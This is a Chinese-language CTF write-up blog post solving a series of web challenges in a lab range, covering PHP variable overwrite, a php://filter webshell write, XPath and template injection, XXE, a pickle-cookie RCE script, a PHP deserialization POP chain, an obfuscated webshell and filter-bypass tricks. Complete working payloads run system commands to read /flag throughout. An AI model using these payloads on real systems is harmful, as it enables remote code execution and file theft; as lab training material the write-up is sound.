到底给不给flag呢
打开简单代码审计一下


就会触发QAQ
给了一个假flag,分析一下题目,我们要传入一个GET参数和一个POST参数,不能直接为它们传入flag参数,否则会输出QAQ,可以看到下面的POST为普通变量覆盖$$key=$value,比如我传入的POST的值为a=b就会被变量覆盖为$a='b'; GET为双重可变变量$$key=$$value,比如我传入?a=b就会被覆盖为$a=$b,我们可以让GET传入?a=flag然后POST传入flag=a来获取覆盖后的flag变量,但是这里有一个陷阱,仔细观察可以发现POST那里是$value,这就导致了我们让其输出的flag只会是字符串flag,所以这题根本就用不到POST,我们可以给GET传入一个中间变量来存储falg的原始值,然后再赋值回去,最后让echo打印原始flag,
pyload:?x=flag&falg=x

写shell

由于文件开头是 <?php exit(); ,直接访问 shell.php 时PHP解释器会先执行 exit() ,导致后续代码不运行。但可以通过以下方式绕过:
截断 exit() 语句 :利用PHP的短标签或编码绕过。例如,若服务器开启了 short_open_tag ,可提交 content=?>
最终文件内容为:
?filename=php://filter/string.strip_tags/convert.base64-decode/resource=1.php此时 ?> 会闭合前面的 <?php ,后续 <?php 会被正常解析。
上传非PHP文件 :若目标允许上传图片等其他类型文件,可将恶意代码写入图片,结合文件包含漏洞(如 include() )执行。
POST data为
content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs/PiAg
base64解密为:<?php echo(system('cat /flag'));?>拼接后为
<?php exit();?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs/PiAg
随后访问1.php

注入
通过点击发现id参数,但是通过测试,存在过滤

搜索了一下这位大佬的文章文章( https://blog.csdn.net/2301_82086776/article/details/148369880 )
学到一种绕过方法 :?id=']|//*|//*['
后端把用户输入直接拼进 XPath 查询去查 XML 数据,没有过滤。代码大概长这样:
$xml = simplexml_load_file('x.xml');
$result = $xml->xpath("//user[name='$id']");?id=']|//*|//*['
拼接后 XPath 变成://user[name='']|//*|//*[']
→ 查询条件被架空,返回整个 XML 树。

某函数的复仇

1.$shaw的限制
空函数,无限制
2.$root的限制
$root不能包含危险命令或字符(如rm、cat、|等)。
这意味着我们不能直接通过$root执行命令。
第一个参数为空的函数,可以使用create_function注入
create_function 能完美适配 $shaw('',$root);这种首参为空字符串的调用——它把传入的 $root 拼成匿名函数体并当场 eval,我们只需在 $root 里用 } 提前闭合函数体、把代码逃逸到函数外执行,再用 // 注释掉多余的
拼接为
function hanshu(){
};readfile('/flag');/*
}
pyload:
get传:?root=;}system('more /f*');/*
post传:shaw=create_function
xxe

发现无论传递什么参数都会指向phpinfo


尝试扫目录果真有发现

进入目录

这段信息意思是
报错位置:
/var/www/html/dom.php第 5 行报错函数:
DOMDocument::loadXML()根因:传给这个函数的参数 = 空字符串
""函数职责:
loadXML(字符串),要求传入一段合法的 XML 文本来解析;空字符串不是有效的 XML,所以抛出警告
所以此处存在XXE漏洞构造一下
<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>
解码得到flag

SSTI
打开为,那就传

传递一个1

题目名叫sstl,难道存在服务端模版注入?
试一下{{7*7}}

说明触发了Jinja2引擎算法
构造?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__%}{{x()._module.__builtins__['__import__']('os').popen('ls /').read()}}{%endif%}{%endfor%}

pyload: ?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__%}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}
unpickle
还有一个附件下载一下

附件内容

存在漏洞:攻击者构造恶意 pickle 对象 → base64 编码 → 设置 Cookie: user=xxx → 服务端解码 + pickle.loads → 恶意代码执行。
打开给了一段文字

构造反序列化漏洞pickle.loads() 直接反序列化用户可控的Cookie数据。可构造恶意Base64编码的pickle数据(如包含执行系统命令的代码),通过Cookie传入后,服务器会执行任意代码(RCE)
import pickle
import base64
class RCE:
def __reduce__(self):
return (eval, ("__import__('os').popen('ls /').read()",))
payload = base64.b64encode(pickle.dumps(RCE(), protocol=2)).decode()
print(payload)


最终pyload:gAJjX19idWlsdGluX18KZXZhbApxAFgqAAAAX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgpcQGFcQJScQMu

BlackMagic
打开来了一句


编写脚本

得到flag

反序列化

漏洞点:
example类的__destruct方法会调用funnnn方法,而funnnn方法会调用$this->handle->close()。
process类的close方法使用eval($this->pid),因此控制pid即可执行任意代码。
构造序列化字符串:
创建一个process对象,设置pid为要执行的PHP代码(如列出目录或读取文件)。
创建一个example对象,设置handle为上述process对象。
序列化example对象。
发送Payload:
将序列化字符串作为data参数通过GET请求发送给目标脚本。
要先找到flag文件,原先ls的不在


Payload: O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

找找shell
打开我还以为是环境问题,

扫个目录发现

结合题目给的shell.txt


这是一段混淆的php代码
分为三层
第一层:urldecode 解码初始字符串
urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
URL 解码后得到字符串: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcsw o4+f37j第二层:base64_decode() 解开外层大 base64,得到的 PHP 代码:
`strtr(密文, 查找字符表, 替换字符表)`
`substr($str,0,52)` 取前 52 个作为`from`;`substr($str,52,52)`取后 52 作为`to`。
中间真正被替换的密文,是 `substr($big_b64,104)`,跳过前面 104 字节,剩下交给 strtr 做置换。
第三层
置换完成之后,输出的结果本身又是一段 base64 字符串,再做一次 base64_decode,才得到不带混淆的最终 WebShell 原始源码。

蚁剑连一下就得到了


再来ping一波啊

试了一下,发现对常规方式都进行了过滤
在前面添加标点符号尝试绕过

读的时候发现过流空格试了%09可以绕过
又发现好像过滤了index.php

试了双写绕过不了,赋值绕过
;a=in;b=dex;ca\t%09$a$b.php
得到源码,这里没有flag


wu
打开就可以看到源代码

过滤了大小写字母,数字0-9
可以利用PHP ~ 按位取反
~ 是 PHP按位取反运算符。 对一个字符串的每一个字节二进制全部按位取反。
举例子:
$func = "system";
echo urlencode(~$func);"system"是可见字母;~"system"得到一串完全没有字母数字的二进制字节,url 编码后就是一堆%xx。
反过来:
$str = ~"%8C%86%97%93%8C%8B%A0";
echo $str; //输出 system
两个取反抵消:~~"system" === "system"
~"system" → 非字母数字的二进制密文
~(密文) → 还原回 "system"
密文本身只有%和十六进制,没有 A‑Z a‑z 0‑9,可以绕过题目正则。
找到flag文件?a=(~%8C%86%8C%8B%9A%92)((~%93%8C));
相当于system('ls');


pyload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);

palor靶场-中等方向(1-12)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法